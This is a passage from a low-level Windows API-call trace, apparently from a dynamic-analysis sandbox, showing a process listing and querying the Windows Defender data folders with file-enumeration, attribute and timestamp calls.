"c:\\users\\all users\\microsoft\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.252] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender" (normalized: "c:\\users\\all users\\microsoft\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.252] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.253] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.253] NtClose (Handle=0x174) returned 0x0 [0092.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.254] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.254] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.254] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="")) returned 1 [0092.254] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x9b7c5130, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMpService925A3ACA-C353-458A-AC8D-A7E5EB378092.lock", cAlternateFileName="")) returned 1 [0092.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0092.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8ab8 [0092.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0092.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9dc0) returned 0x132a698 [0092.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="")) returned 1 [0092.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="")) returned 1 [0092.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0092.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0092.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0092.257] GetLastError () returned 0x12 [0092.257] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0092.257] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.257] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.257] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="")) returned 1 [0092.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.258] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.258] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.258] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.258] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.259] NtClose (Handle=0x174) returned 0x0 [0092.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.260] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0092.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0092.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="")) returned 1 [0092.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="")) returned 0 [0092.260] GetLastError () returned 0x12 [0092.261] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.261] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.261] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.261] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0092.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.262] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.262] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.262] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.262] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.262] NtClose (Handle=0x174) returned 0x0 [0092.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.263] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.263] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.263] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.263] GetLastError () returned 0x12 [0092.263] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.263] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.263] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.263] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.263] GetLastError () returned 0x12 [0092.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136df38) returned 1 [0092.263] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.264] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0092.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.264] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.264] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.264] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.265] NtClose (Handle=0x184) returned 0x0 [0092.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136df38 [0092.266] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.267] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.267] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.267] GetLastError () returned 0x12 [0092.267] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.267] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.267] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.267] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: 